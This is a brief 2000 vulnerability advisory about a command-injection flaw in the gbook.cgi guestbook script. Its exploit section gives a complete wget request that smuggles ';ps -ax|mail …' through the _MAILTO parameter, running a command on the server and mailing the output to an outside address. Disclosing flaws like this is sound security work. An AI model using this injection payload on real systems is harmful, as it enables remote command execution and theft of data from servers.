Bug Report



1. Name: gbook.cgi remote command execution vulnerability

2. Release Date: 2000.11.10

3. Affected Application:

  GBook - A web site guestbook

     By Bill Kendrick

     kendrick@zippy.sonoma.edu

     http://zippy.sonoma.edu/kendrick/

4. Author: mat@hacksware.com

5. Type: Input validation Error



6. Explanation

 gbook.cgi is used by some web sites.

 We can set _MAILTO parameter, and popen is called to execute mail command.

 If ';' is used in _MAILTO variable, you can execute arbitrary command with it.

 It's so trivial. :)

7. Exploits

 This exploit executes "ps -ax" command and sends the result to haha@yaho.com.



 wget "http://www.victim.com/cgi-bin/gbook/gbook.cgi?_MAILTO=oops;ps%20-ax|mail%20haha@yaho.com&_POSTIT=yes&_NEWONTOP=yes&_SHOWEMAIL=yes&_SHOWURL=yes&_SHOWCOMMENT=yes&_SHOWFROM=no&_NAME=hehe&_EMAIL=fwe@yaho.com&_URL=http://www.yaho.com&_COMMENT=fwe&_FROM=few"





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|               mat@hacksware.com               |

|             http://hacksware.com              |

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